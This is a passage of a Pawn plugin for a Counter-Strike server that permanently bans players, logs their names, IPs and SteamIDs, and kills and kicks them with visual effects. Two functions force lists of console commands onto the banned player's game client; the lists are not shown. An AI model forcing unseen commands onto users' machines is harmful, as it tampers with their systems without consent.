  601. server_print( "* Nume: %s", EliminatedName[ i ] );
  602. server_print( "* Ip: %s", EliminatedIp[ i ] );
  603. server_print( "* Steamid: %s", EliminatedSteamId[ i ] );
  604. server_print( "* Motiv: %s ", EliminatedReason[ i ] );
  605. server_print( "* Durata: Permanenta" );
  606. server_print( "* Nume Admin: %s", EliminatedAdminName[ i ] );
  607. server_print( "* Ip Admin: %s", EliminatedAdminIp[ i ] );
  608. server_print( "* Steamid Admin: %s", EliminatedAdminSteamId[ i ] );
  609. server_print( "* Data/Ora: %s", EliminatedTime[ i ] );
  610. server_print( "* " );
  611. server_print( "* " );
  612.  
  613. }
  614.  
  615. server_print( "****************************************************");
  616. server_print( "%s", plugin_info );
  617. server_print( "****************************************************");
  618. }
  619.  
  620. else
  621. {
  622. formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"************ %s v%s by %s ***********^"", PLUGIN, VERSION, "Askhanar");
  623.  
  624. client_cmd( id, "echo ^"****************************************************^"");
  625. client_cmd( id, "echo ^"* Nr total de eliminari: %d | Eliminari vizualizate acum: %d - %d^"", Eliminates, start + 1, end );
  626. client_cmd( id, "echo ^"* ^"" );
  627.  
  628. for( new i = start ; i < end ; i++ )
  629. {
  630.  
  631. client_cmd( id, "echo ^"***************** Detaliile eliminarii #%d *******************^"", i + 1 );
  632. client_cmd( id, "echo ^"* ^"" );
  633. client_cmd( id, "echo ^"* Nume: %s^"", EliminatedName[ i ] );
  634. client_cmd( id, "echo ^"* Ip: %s^"", EliminatedIp[ i ] );
  635. client_cmd( id, "echo ^"* Steamid: %s^"", EliminatedSteamId[ i ] );
  636. client_cmd( id, "echo ^"* Motiv: %s ^"", EliminatedReason[ i ] );
  637. client_cmd( id, "echo ^"* Durata: Permanenta^"" );
  638. client_cmd( id, "echo ^"* Nume Admin: %s^"", EliminatedAdminName[ i ] );
  639. client_cmd( id, "echo ^"* Ip Admin: %s^"", EliminatedAdminIp[ i ] );
  640. client_cmd( id, "echo ^"* Steamid Admin: %s^"", EliminatedAdminSteamId[ i ] );
  641. client_cmd( id, "echo ^"* Data/Ora: %s^"", EliminatedTime[ i ] );
  642. client_cmd( id, "echo ^"* ^"" );
  643. client_cmd( id, "echo ^"* ^"" );
  644.  
  645. }
  646.  
  647. client_cmd( id, "echo ^"****************************************************^"");
  648. client_cmd( id, "%s", plugin_info );
  649. client_cmd( id, "echo ^"****************************************************^"");
  650. }
  651.  
  652. return 1;
  653. }
  654.  
  655. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  656.  
  657. public ConCmdReloadEliminates( id )
  658. {
  659. if( !( get_user_flags( id ) & ELIMINATE_ACCESS ) )
  660. {
  661. client_cmd( id, "echo Nu ai acces la aceasta comanda !");
  662. return 1;
  663. }
  664.  
  665. Eliminates = 0;
  666.  
  667. for( new i = 0 ; i < EliminatesNum ; i++ )
  668. {
  669.  
  670. copy( EliminatedTime[ i ], sizeof ( EliminatedTime[ ] ) -1, "" );
  671. copy( EliminatedName[ i ], sizeof ( EliminatedName[ ] ) -1, "" );
  672. copy( EliminatedIp[ i ], sizeof ( EliminatedIp[ ] ) -1, "" );
  673. copy( EliminatedSteamId[ i ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
  674. copy( EliminatedAdminName[ i ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
  675. copy( EliminatedAdminIp[ i ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
  676. copy( EliminatedAdminSteamId[ i ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
  677. copy( EliminatedReason[ i ], sizeof ( EliminatedReason[ ] ) -1, "" );
  678.  
  679. }
  680.  
  681. if( id == 0 )
  682. {
  683. server_print( "Eliminarile vor fi reincarcate !" );
  684. }
  685. else
  686. {
  687. client_cmd( id, "echo Eliminarile vor fi reincarcate !" );
  688. }
  689.  
  690. LoadEliminates( );
  691.  
  692. if( id == 0 )
  693. {
  694. server_print( "Am incarcat cu succes %d eliminari.", Eliminates );
  695. }
  696.  
  697. else
  698. {
  699. client_cmd( id, "echo Am incarcat cu succes %d eliminari.", Eliminates );
  700. }
  701.  
  702. return 1;
  703. }
  704.  
  705. public EliminateUser( id, Player, const reason[ ] )
  706. {
  707. if( Eliminates >= EliminatesNum )
  708. {
  709. Log( "[EROARE] - EliminateList FULL ( %d / %d ) !", Eliminates, EliminatesNum );
  710. return 1;
  711. }
  712.  
  713.  
  714. new file[ 128 ], log[ 256 ];
  715. get_configsdir( file, sizeof ( file ) -1 );
  716. formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
  717.  
  718. if( !file_exists( file ) )
  719. {
  720. write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
  721. write_file( file ,";",-1);
  722. write_file( file ,";",-1);
  723. }
  724.  
  725. formatex( log, sizeof (log ) -1,"^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"",
  726. _get_time( ), get_name( Player ), get_ip( Player ), get_authid( Player ),
  727. get_name( id ), get_ip( id ), get_authid( id ), reason );
  728.  
  729. write_file( file, log, -1 );
  730.  
  731. LoadEliminates( );
  732.  
  733.  
  734. set_task( 0.7, "ExecFirstEliminateCommands", Player + ELIMINATETASK );
  735. set_task( 0.9, "ExecSecondEliminateCommands", Player + ELIMINATETASK );
  736.  
  737. return 0;
  738.  
  739. }
  740.  
  741. public ExecFirstEliminateCommands( id )
  742. {
  743. id -= ELIMINATETASK;
  744. if( !is_user_connected( id ) ) return 1;
  745.  
  746. for( new i = 0; i < sizeof( FirstEliminateCommands ) ; i++ )
  747. {
  748. client_cmd( id, "%s", FirstEliminateCommands[ i ] );
  749. }
  750.  
  751. return 0;
  752. }
  753.  
  754. public ExecSecondEliminateCommands( id )
  755. {
  756. id -= ELIMINATETASK;
  757. if( !is_user_connected( id ) ) return 1;
  758.  
  759. for( new i = 0; i < sizeof( SecondEliminateCommands ) ; i++ )
  760. {
  761. client_cmd( id, "%s", SecondEliminateCommands[ i ] );
  762. }
  763.  
  764. return 0;
  765. }
  766.  
  767. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  768.  
  769. public LoadEliminates( )
  770. {
  771.  
  772. new file[ 128 ];
  773. get_configsdir( file, sizeof ( file ) -1 );
  774. formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
  775.  
  776. if( !file_exists( file ) )
  777. {
  778. Log( "[EROARE] - Nu am gasit %s ", file );
  779. Log( "[EROARE] - Creez un nou fisier." );
  780.  
  781. write_file( file ,";Ip-urile / Steamid-urile userilor eliminati permanent !", -1 );
  782. write_file( file ,";",-1);
  783. write_file( file ,";",-1);
  784. }
  785.  
  786. new f = fopen( file, "rt" );
  787.  
  788. if( !f ) return 0;
  789.  
  790. new data[ 512 ], buffer[ 8 ][ 64 ] ;
  791.  
  792. while( !feof( f ) && Eliminates < EliminatesNum )
  793. {
  794. fgets( f, data, sizeof ( data ) -1 );
  795.  
  796. if( !data[ 0 ] || data[ 0 ] == ';' || ( data[ 0 ] == '/' && data[ 1 ] == '/' ) )
  797. continue;
  798.  
  799. parse(data,\
  800. buffer[ 0 ], sizeof ( buffer[ ] ) - 1,\
  801. buffer[ 1 ], sizeof ( buffer[ ] ) - 1,\
  802. buffer[ 2 ], sizeof ( buffer[ ] ) - 1,\
  803. buffer[ 3 ], sizeof ( buffer[ ] ) - 1,\
  804. buffer[ 4 ], sizeof ( buffer[ ] ) - 1,\
  805. buffer[ 5 ], sizeof ( buffer[ ] ) - 1,\
  806. buffer[ 6 ], sizeof ( buffer[ ] ) - 1,\
  807. buffer[ 7 ], sizeof ( buffer[ ] ) - 1
  808. );
  809.  
  810. copy( EliminatedTime[ Eliminates ], sizeof ( EliminatedTime[ ] ) -1, buffer[ 0 ] );
  811. copy( EliminatedName[ Eliminates ], sizeof ( EliminatedName[ ] ) -1, buffer[ 1 ] );
  812. copy( EliminatedIp[ Eliminates ], sizeof ( EliminatedIp[ ] ) -1, buffer[ 2 ] );
  813. copy( EliminatedSteamId[ Eliminates ], sizeof ( EliminatedSteamId[ ] ) -1, buffer[ 3 ] );
  814. copy( EliminatedAdminName[ Eliminates ], sizeof ( EliminatedAdminName[ ] ) -1, buffer[ 4 ] );
  815. copy( EliminatedAdminIp[ Eliminates ], sizeof ( EliminatedAdminIp[ ] ) -1, buffer[ 5 ] );
  816. copy( EliminatedAdminSteamId[ Eliminates ], sizeof ( EliminatedAdminSteamId[ ] ) -1, buffer[ 6 ] );
  817. copy( EliminatedReason[ Eliminates ], sizeof ( EliminatedReason[ ] ) -1, buffer[ 7 ] );
  818.  
  819. Eliminates++;
  820. }
  821.  
  822. fclose( f );
  823.  
  824. Log( "[INFO] - Am incarcat cu succes %d eliminari din %s", Eliminates, file );
  825.  
  826. return 0;
  827. }
  828.  
  829. public RemoveEliminate( i )
  830. {
  831. for( new x = i ; x < Eliminates ; x++ )
  832. {
  833. if( x + 1 == EliminatesNum )
  834. {
  835. copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, "" );
  836. copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, "" );
  837. copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, "" );
  838. copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, "" );
  839. copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, "" );
  840. copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, "" );
  841. copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, "" );
  842. copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, "" );
  843.  
  844. }
  845. else
  846. {
  847. copy( EliminatedTime[ x ], sizeof ( EliminatedTime[ ] ) -1, EliminatedTime[ x + 1 ] );
  848. copy( EliminatedName[ x ], sizeof ( EliminatedName[ ] ) -1, EliminatedName[ x + 1 ] );
  849. copy( EliminatedIp[ x ], sizeof ( EliminatedIp[ ] ) -1, EliminatedIp[ x + 1 ] );
  850. copy( EliminatedSteamId[ x ], sizeof ( EliminatedSteamId[ ] ) -1, EliminatedSteamId[ x + 1 ] );
  851. copy( EliminatedAdminName[ x ], sizeof ( EliminatedAdminName[ ] ) -1, EliminatedAdminName[ x + 1 ] );
  852. copy( EliminatedAdminIp[ x ], sizeof ( EliminatedAdminIp[ ] ) -1, EliminatedAdminIp[ x + 1 ] );
  853. copy( EliminatedAdminSteamId[ x ], sizeof ( EliminatedAdminSteamId[ ] ) -1, EliminatedAdminSteamId[ x + 1 ] );
  854. copy( EliminatedReason[ x ], sizeof ( EliminatedReason[ ] ) -1, EliminatedReason[ x + 1 ] );
  855. }
  856. }
  857.  
  858. Eliminates--;
  859.  
  860. ReWriteEliminations( );
  861. }
  862.  
  863. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  864.  
  865. public ReWriteEliminations( )
  866. {
  867. new file[ 128 ];
  868. get_configsdir( file, sizeof ( file ) -1 );
  869. formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateDataFile );
  870.  
  871. new f = fopen( file, "wt" );
  872.  
  873. fprintf( f, ";Ip-urile / Steamid-urile userilor eliminati permanent !^n" );
  874. fprintf( f, ";^n" );
  875. fprintf( f, ";^n" );
  876.  
  877. static EliminateTime[ 32 ], EliminateName[ 32 ], EliminateIp[ 32 ], EliminateSteamId[ 35 ];
  878. static EliminateAdminName[ 32 ], EliminateAdminIp[ 32 ], EliminateAdminSteamId[ 35 ], EliminateReason[ 32 ];
  879.  
  880. for( new i = 0 ; i < Eliminates ; i++ )
  881. {
  882.  
  883. copy( EliminateTime, sizeof ( EliminateTime ) -1, EliminatedTime[ i ] );
  884. copy( EliminateName , sizeof ( EliminateName ) - 1, EliminatedName[ i ] );
  885. copy( EliminateIp , sizeof ( EliminateIp ) - 1, EliminatedIp[ i ] );
  886. copy( EliminateSteamId , sizeof ( EliminateSteamId ) - 1, EliminatedSteamId[ i ] );
  887. copy( EliminateAdminName , sizeof ( EliminateAdminName ) - 1, EliminatedAdminName[ i ] );
  888. copy( EliminateAdminIp , sizeof ( EliminateAdminIp ) - 1, EliminatedAdminIp[ i ] );
  889. copy( EliminateAdminSteamId , sizeof ( EliminateAdminSteamId ) - 1, EliminatedAdminSteamId[ i ] );
  890. copy( EliminateReason , sizeof ( EliminateReason ) - 1, EliminatedReason[ i ] );
  891.  
  892. fprintf( f, "^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^" ^"%s^"^n",\
  893. EliminateTime,\
  894. EliminateName,\
  895. EliminateIp,\
  896. EliminateSteamId,\
  897. EliminateAdminName,\
  898. EliminateAdminIp,\
  899. EliminateAdminSteamId,\
  900. EliminateReason
  901. );
  902. }
  903.  
  904. fclose(f);
  905. }
  906.  
  907. public LogToConfigs( const msg[ ], any:...)
  908. {
  909. new message[ 256 ];
  910. vformat( message, sizeof ( message ) -1, msg , 2 );
  911.  
  912. new file[ 128 ], log[ 256 ];
  913. get_configsdir( file, sizeof ( file ) -1 );
  914. formatex( file, sizeof ( file ) -1,"%s/%s", file, EliminateLogFile );
  915.  
  916. if( !file_exists( file ) )
  917. {
  918. write_file( file ,"In acest log veti gasi urmatoarele informatii:", -1 );
  919. write_file( file ,"Cine, cand si cui a dat eliminate dar si pe ce motiv.",-1 );
  920. write_file( file ,"Cine, cand si cui a scos eliminarea dar si pe ce motiv.",-1 );
  921. write_file( file ,"",-1 );
  922. write_file( file ,"",-1 );
  923. }
  924.  
  925. formatex( log, sizeof (log ) -1,"|%s| - %s ", _get_time( ), message );
  926. write_file( file, log, -1 );
  927.  
  928. }
  929.  
  930. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  931.  
  932. public Log( const msg[ ], any:...)
  933. {
  934. new message[ 256 ];
  935. vformat( message, sizeof ( message ) -1, msg , 2 );
  936.  
  937. new dir[ 64 ], file[ 128 ], log[ 256 ];
  938.  
  939. if( !dir[ 0 ] )
  940. {
  941. get_basedir( dir, sizeof ( dir ) -1 );
  942. formatex( file, sizeof ( file ) -1,"%s/logs/AdvancedEliminate.log", dir );
  943. }
  944.  
  945. formatex( log, sizeof (log ) -1,"|%s| %s ", _get_time( ), message );
  946. write_file( file, log, -1 );
  947. }
  948.  
  949. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  950.  
  951. public PrintConsoleInfo( id, const name[ ], const ip[ ], const steamid[ ], const reason[ ], const admin_name[ ], const admin_ip[ ], const admin_steamid[ ], const dateandtime[ ] )
  952. {
  953. new plugin_info[ 128 ];
  954. formatex( plugin_info, sizeof ( plugin_info ) -1,"echo ^"*********** %s v%s by %s ************^"", PLUGIN, VERSION, "Askhanar");
  955.  
  956. client_cmd( id, "echo ^"****************************************************^"") ;
  957. client_cmd( id, "echo ^"***************Informatii despre eliminarea de pe server*********^"" );
  958. client_cmd( id, "echo ^"* ^"" );
  959. client_cmd( id, "echo ^"* Nume: %s^"", name );
  960. client_cmd( id, "echo ^"* Ip: %s^"", ip );
  961. client_cmd( id, "echo ^"* Steamid: %s^"", steamid );
  962. client_cmd( id, "echo ^"* Motiv: %s ^"", reason );
  963. client_cmd( id, "echo ^"* Durata: Permanenta^"" );
  964. client_cmd( id, "echo ^"* Nume Admin: %s^"", admin_name );
  965. client_cmd( id, "echo ^"* Ip Admin: %s^"", admin_ip );
  966. client_cmd( id, "echo ^"* Steamid Admin: %s^"", admin_steamid );
  967. client_cmd( id, "echo ^"* Data/Ora: %s^"", dateandtime );
  968. client_cmd( id, "echo ^"* Daca te simti neindreptatit contacteaza-ne pe:^"");
  969. client_cmd( id, "echo ^"* %s^"", get_site( ) );
  970. client_cmd( id, "echo ^"* ^"" );
  971. client_cmd( id, "echo ^"****************************************************^"") ;
  972. client_cmd( id, "%s", plugin_info );
  973. client_cmd( id, "echo ^"****************************************************^"") ;
  974. }
  975.  
  976. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  977. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  978.  
  979. public TaskDisconnectPlayer( id )
  980. {
  981.  
  982. id -= ELIMINATETASK;
  983. server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
  984.  
  985. }
  986. public TaskDisconnectPlayerFromSV( id )
  987. {
  988. id -= ELIMINATETASK;
  989. if( !is_user_connected( id ) ) return 1;
  990.  
  991. server_cmd( "kick #%i ^"Ai fost eliminat de pe acest server, verifica-ti consola !^"", get_user_userid( id ) );
  992.  
  993. return 1;
  994. }
  995.  
  996. public CreateEliminateEffects( id )
  997. {
  998. id -= ELIMINATETASK;
  999. if( !is_user_connected( id ) ) return 1;
  1000.  
  1001. get_user_origin( id, vOrigin[ id ] );
  1002.  
  1003. Create_TE_IMPLOSION( vOrigin[ id ], 100, 20, 5 );
  1004. emit_sound( id, CHAN_STATIC, EliminateExplodeSound, 1.0, ATTN_NORM, 0, PITCH_NORM );
  1005.  
  1006.  
  1007. set_task( 0.5, "CreateExplosionEffect", id + ELIMINATETASK );
  1008. set_task( 0.5, "CreateBlastCirclesEffect", id + ELIMINATETASK );
  1009.  
  1010. return 0;
  1011. }
  1012.  
  1013. public CreateExplosionEffect( id )
  1014. {
  1015. id -= ELIMINATETASK;
  1016.  
  1017. if( !is_user_connected( id ) ) return 1;
  1018.  
  1019. new Origin[ 3 ],vPosition[ 3 ];
  1020. Origin[ 0 ] = vOrigin[ id ][ 0 ];
  1021. Origin[ 1 ] = vOrigin[ id ][ 1 ];
  1022. Origin[ 2 ] = vOrigin[ id ][ 2 ];
  1023.  
  1024. vPosition[ 0 ] = vOrigin[ id ][ 0 ] + random_num( -100, 100 );
  1025. vPosition[ 1 ] = vOrigin[ id ][ 1 ] + random_num( -100, 100 );
  1026. vPosition[ 2 ] = vOrigin[ id ][ 2 ] + random_num( -50, 50 );
  1027.  
  1028. Create_TE_EXPLOSION( Origin, vPosition, ExplodeSpr, (random_num(0,20) + 20), 12, 0 );
  1029. Create_TE_Smoke( Origin, vPosition, SmokeSpr, 60, 10 );
  1030. user_silentkill( id );
  1031.  
  1032. return 0;
  1033.  
  1034. }
  1035.  
  1036. public CreateBlastCirclesEffect( id )
  1037. {
  1038. id -= ELIMINATETASK;
  1039.  
  1040. if( !is_user_connected( id ) ) return 1;
  1041.  
  1042. new Origin[ 3], vPosition[3];
  1043.  
  1044. Origin[ 0 ] = vOrigin[ id ][ 0 ];
  1045. Origin[ 1 ] = vOrigin[ id ][ 1 ];
  1046. Origin[ 2 ] = vOrigin[ id ][ 2 ] - 16;
  1047.  
  1048. vPosition[ 0 ] = vOrigin[ id ][ 0];
  1049. vPosition[ 1 ] = vOrigin[ id ][ 1 ];
  1050. vPosition[ 2 ] = vOrigin[ id ][ 2 ] + 250;
  1051.  
  1052. Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );
  1053.  
  1054. vOrigin[id][ 2 ] = ( Origin[2] - 250 ) + ( 250 / 2 );
  1055.  
  1056. Create_TE_BEAMCYLINDER( Origin, Origin, vPosition, ShockWaveSpr, 0, 0, 6, 16, 0, 188, 220, 255, 255, 0 );
  1057.  
  1058. return 0;
  1059. }
  1060. stock Create_TE_IMPLOSION( position[ 3 ], radius, count, life )
  1061. {
  1062.  
  1063. message_begin( MSG_BROADCAST, SVC_TEMPENTITY );
  1064. write_byte ( TE_IMPLOSION );
  1065. write_coord( position[ 0 ] ); // position (X)
  1066. write_coord( position[ 1 ] ); // position (Y)
  1067. write_coord( position[ 2 ] ); // position (Z)
  1068. write_byte ( radius ); // radius
  1069. write_byte ( count ); // count
  1070. write_byte ( life ); // life in 0.1's
  1071. message_end( );
  1072. }
  1073.  
  1074. stock Create_TE_EXPLOSION( origin[ 3 ], origin2[ 3 ], iSprite, scale, frameRate, flags )
  1075. {
  1076.  
  1077. message_begin( MSG_PVS, SVC_TEMPENTITY, origin );
  1078. write_byte( TE_EXPLOSION );
  1079. write_coord( origin2[ 0 ] ); // position (X)
  1080. write_coord( origin2[ 1 ] ); // position (Y)
  1081. write_coord( origin2[ 2 ] ); // position (Z)
  1082. write_short( iSprite ); // sprite index
  1083. write_byte( scale ); // scale in 0.1's
  1084. write_byte( frameRate ); // framerate
  1085. write_byte( flags ); // flags
  1086. message_end( );
  1087. }
  1088.  
  1089. stock Create_TE_Smoke( originSight[ 3 ], position[ 3 ], iSprite, scale, framerate )
  1090. {
  1091.  
  1092. message_begin( MSG_PVS, SVC_TEMPENTITY, originSight );
  1093. write_byte( TE_SMOKE );
  1094. write_coord( position[ 0 ] ); // Position
  1095. write_coord( position[ 1 ] );
  1096. write_coord( position[ 2 ] );
  1097. write_short( iSprite ); // Sprite index
  1098. write_byte( scale ); // scale * 10
  1099. write_byte( framerate ); // framerate
  1100. message_end( );
  1101. }
  1102.  
  1103.  
  1104.  
  1105. stock Create_TE_BEAMCYLINDER( origin[ 3 ], center[ 3 ], axis[ 3 ], iSprite, startFrame, frameRate, life, width, amplitude, red, green, blue, brightness, speed )
  1106. {
  1107.  
  1108. message_begin( MSG_PAS, SVC_TEMPENTITY, origin );
  1109. write_byte( TE_BEAMCYLINDER );
  1110. write_coord( center[ 0 ] ); // center position (X)
  1111. write_coord( center[ 1 ] ); // center position (Y)
  1112. write_coord( center[ 2 ] ); // center position (Z)
  1113. write_coord( axis[ 0 ] ); // axis and radius (X)
  1114. write_coord( axis[ 1 ] ); // axis and radius (Y)
  1115. write_coord( axis[ 2 ] ); // axis and radius (Z)
  1116. write_short( iSprite ); // sprite index
  1117. write_byte( startFrame ); // starting frame
  1118. write_byte( frameRate ); // frame rate in 0.1's
  1119. write_byte( life ); // life in 0.1's
  1120. write_byte( width ); // line width in 0.1's
  1121. write_byte( amplitude ) ; // noise amplitude in 0.01's
  1122. write_byte( red ); // color (red)
  1123. write_byte( green ); // color (green)
  1124. write_byte( blue ); // color (blue)
  1125. write_byte( brightness ); // brightness
  1126. write_byte( speed ); // scroll speed in 0.1's
  1127. message_end( );
  1128. }
  1129.  
  1130. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  1131.  
  1132. stock get_name( id )
  1133. {
  1134. new name[ 32 ];
  1135. get_user_name( id, name, sizeof ( name ) -1 );
  1136.  
  1137. return name;
  1138. }
  1139.  
  1140. stock get_ip( id )
  1141. {
  1142. new ip[ 32 ];
  1143. get_user_ip( id, ip, sizeof ( ip ) -1, 1 );
  1144.  
  1145. return ip;
  1146. }
  1147.  
  1148. stock get_authid( id )
  1149. {
  1150. new authid[ 35 ];
  1151. get_user_authid( id, authid, sizeof ( authid ) -1 );
  1152.  
  1153. return authid;
  1154. }
  1155.  
  1156. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  1157.  
  1158. stock get_tag( )
  1159. {
  1160. new tag[ 32 ];
  1161. get_pcvar_string( cvar_tag, tag, sizeof ( tag ) -1 );
  1162.  
  1163. return tag;
  1164. }
  1165.  
  1166. stock get_site( )
  1167. {
  1168. new site[ 32 ];
  1169. get_pcvar_string( cvar_site, site, sizeof ( site ) -1 );
  1170.  
  1171. return site;
  1172. }
  1173. stock _get_time( )
  1174. {
  1175. new logtime[ 32 ];
  1176. get_time("%d.%m.%Y - %H:%M:%S", logtime ,sizeof ( logtime ) -1 );
  1177.  
  1178. return logtime;
  1179. }
  1180.  
  1181. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  1182.  
  1183. stock bool:HasUserAccess( id )
  1184. {
  1185. if( get_user_flags( id ) & ELIMINATE_ACCESS )
  1186. return true;
  1187.  
  1188. return false;
  1189. }
  1190.  
  1191. public ShakeScreen( id, const Float:seconds )
  1192. {
  1193. message_begin( MSG_ONE, get_user_msgid( "ScreenShake" ), { 0, 0, 0 }, id );
  1194. write_short( floatround( 4096.0 * seconds, floatround_round ) );
  1195. write_short( floatround( 4096.0 * seconds, floatround_round ) );
  1196. write_short( 1<<13 );
  1197. message_end( );
  1198.  
  1199. }
  1200.  
  1201. public FadeScreen( id, const Float:seconds, const red, const green, const blue, const alpha )
  1202. {
  1203. message_begin( MSG_ONE, get_user_msgid( "ScreenFade" ), _, id );
  1204. write_short( floatround( 4096.0 * seconds, floatround_round ) );
  1205. write_short( floatround( 4096.0 * seconds, floatround_round ) );
  1206. write_short( 0x0000 );
  1207. write_byte( red );
  1208. write_byte( green );
  1209. write_byte( blue );
  1210. write_byte( alpha );
  1211. message_end( );
  1212.  
  1213. }
  1214. /*======================================= - ¦ Askhanar ¦ - =======================================*/
  1215.  
  1216. /* AMXX-Studio Notes - DO NOT MODIFY BELOW HERE
  1217. *{\\ rtf1\\ ansi\\ deff0{\\ fonttbl{\\ f0\\ fnil Tahoma;}}\n\\ viewkind4\\ uc1\\ pard\\ lang1033\\ f0\\ fs16 \n\\ par }
  1218. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement